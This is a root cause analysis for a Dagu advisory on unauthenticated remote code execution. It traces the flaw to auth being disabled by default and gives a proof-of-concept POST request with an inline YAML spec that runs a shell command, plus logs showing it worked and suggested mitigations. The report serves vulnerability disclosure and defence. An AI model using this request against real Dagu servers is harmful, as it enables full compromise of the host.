# Root Cause Analysis Report

## GHSA-6qr9-g2xw-cw92: Dagu Unauthenticated RCE via Inline DAG Spec

---

## Summary

Dagu workflow engine versions ≤ 1.30.3 ship with authentication completely disabled by default (`AuthModeNone`). The `POST /api/v2/dag-runs` endpoint accepts inline YAML DAG specifications and executes shell commands immediately without requiring any credentials or authentication tokens. This allows any unauthenticated attacker with network access to achieve Remote Code Execution (RCE) by submitting a malicious DAG spec containing arbitrary shell commands.

---

## Impact

- **Package:** github.com/dagu-org/dagu
- **Affected Versions:** ≤ 1.30.3
- **Severity:** CRITICAL (CVSS 9.8)
- **Attack Vector:** Network (AV:N)
- **Attack Complexity:** Low (AC:L)
- **Privileges Required:** None (PR:N)
- **Consequences:** 
  - Unauthenticated Remote Code Execution
  - Full host compromise
  - Access to all resources reachable by the dagu process user
  - Data exfiltration, lateral movement, and persistence capabilities

---

## Root Cause

### Technical Analysis

1. **Default Configuration Vulnerability:**
   - File: `internal/cmn/config/loader.go:226`
   - Default setting: `Server: Server{Port: 8080, Auth: Auth{Mode: AuthModeNone}}`
   - This means every fresh installation runs without authentication

2. **Missing Authorization Check:**
   - File: `internal/service/frontend/api/v1/api.go`
   - Function `requireExecute()` returns `nil` (permission granted) when `a.authService == nil`
   - This occurs when `AuthModeNone` is configured

3. **Unsafe Inline Spec Execution:**
   - File: `internal/service/frontend/api/v1/dagruns.go:56`
   - Function: `ExecuteDAGRunFromSpec()`
   - Accepts arbitrary YAML spec via POST body
   - Calls `loadInlineDAG()` followed by `startDAGRun()`
   - No validation or sandboxing of command execution
   - The endpoint only checks `requireExecute()` which passes when auth is disabled

### Evidence from Source Code

```go
// From internal/service/frontend/api/v1/api.go
func (a *API) requireExecute(ctx context.Context) error {
    if a.authService == nil {
        return nil  // <-- VULNERABILITY: Always allows when auth disabled
    }
    // ... permission checks
}
```

---

## Reproduction Steps

The reproduction script is located at `repro/reproduction_steps.sh`.

### What the Script Does:

1. **Downloads and sets up Dagu v1.30.3** (vulnerable version)
2. **Starts Dagu server** with default configuration (`--dagu-home` set, no auth configured)
3. **Verifies unauthenticated access** by querying `/api/v1/dags` without credentials
4. **Sends exploit payload** to `POST /api/v2/dag-runs` with inline YAML spec:
   ```json
   {
     "name": "poc",
     "spec": "steps:\n  - name: rce\n    command: echo <MARKER> > /tmp/pwned\n"
   }
   ```
5. **Verifies command execution** by checking if the marker file was created

### Expected Evidence:

- Server accepts POST request and returns `{"dagRunId": "<uuid>"}`
- Command executes and creates file at `/tmp/pwned`
- File contains the unique marker string proving RCE

---

## Evidence

### Log Locations

- Server logs: `logs/dagu_server.log`
- Exploit response: `logs/exploit_response.log`
- Verification: `logs/verification.log`

### Key Evidence from Reproduction

```
[+] Sending exploit request to POST /api/v2/dag-runs...
[+] Payload: echo repro_proof_1771598561_10492 > /tmp/pwned
{"dagRunId":"019c7b80-c2f5-71d0-bdc2-be5a2ac010fe"}

[+] Verifying RCE by checking for marker file...
[+] SUCCESS: RCE confirmed! Found marker 'repro_proof_1771598561_10492' in /tmp/pwned
[+] File contents:
repro_proof_1771598561_10492
```

### Server Access Log Evidence

```
Response: 200 OK service: "http" 
  httpRequest: {
    url: "http://localhost:8080/api/v2/dag-runs" 
    method: "POST" 
    path: "/api/v2/dag-runs"
  }
  httpResponse: {status: 200 bytes: 52 elapsed: 67.500582}
```

### Environment Details

- **Dagu Version:** 1.30.3 (vulnerable)
- **Test Date:** 2026-02-20
- **Platform:** Linux amd64
- **Go Version:** 1.24.7
- **Curl Version:** 8.5.0

---

## Recommendations / Next Steps

### Immediate Mitigation

1. **Enable Authentication:**
   ```yaml
   # config.yaml
   auth:
     mode: builtin  # or 'basic'
     users:
       - username: admin
         password: <strong_password>
   ```

2. **Network Restrictions:**
   - Restrict access to Dagu port (8080) to trusted networks only
   - Use firewall rules to block external access

3. **Run as Non-Privileged User:**
   - Never run Dagu as root
   - Use dedicated service account with minimal permissions

### Long-term Fix

- **Vendor Fix:** The Dagu project should change the default `AuthMode` from `none` to `builtin` or require explicit opt-in for unauthenticated mode
- **Version Upgrade:** Upgrade to the patched version when released (after 1.30.3)

### Testing Recommendations

1. Regression test verifying auth is required by default
2. Integration tests for all API endpoints with auth enabled/disabled
3. Security scanning of DAG spec parsing for command injection risks

---

## Additional Notes

### Idempotency Confirmation

✅ The reproduction script has been tested successfully twice consecutively:
- First run: dagRunId `019c7b80-c2f5-71d0-bdc2-be5a2ac010fe`
- Second run: dagRunId `019c7b81-148d-7727-9643-9317daa89801`

Both runs confirmed RCE with unique markers, proving the script is idempotent.

### Edge Cases and Limitations

- **Containerized environments:** The exploit works in Docker containers running Dagu with default settings
- **Cloud deployments:** Any publicly exposed Dagu instance without auth configuration is vulnerable
- **Operator role bypass:** Even with auth enabled, operator-role users can still achieve RCE via inline specs (Finding 2 in the original advisory)

### Additional Vectors (from original advisory)

1. **Operator Privilege Escalation:** With authentication enabled, users with `CanExecute=true` (operator role) can submit inline specs to achieve the same RCE as admins
2. **Backtick Command Injection:** `internal/cmn/eval/substitute.go:57-78` evaluates backtick expressions in step parameters without sanitization

---

## References

- GitHub Advisory: https://github.com/advisories/GHSA-6qr9-g2xw-cw92
- Dagu Repository: https://github.com/dagu-org/dagu
- CVE Reports Analysis: https://dev.to/cverports/ghsa-6qr9-g2xw-cw92-dagu-the-friendly-ghost-that-runs-your-malware-ghsa-6qr9-g2xw-cw92-4k13
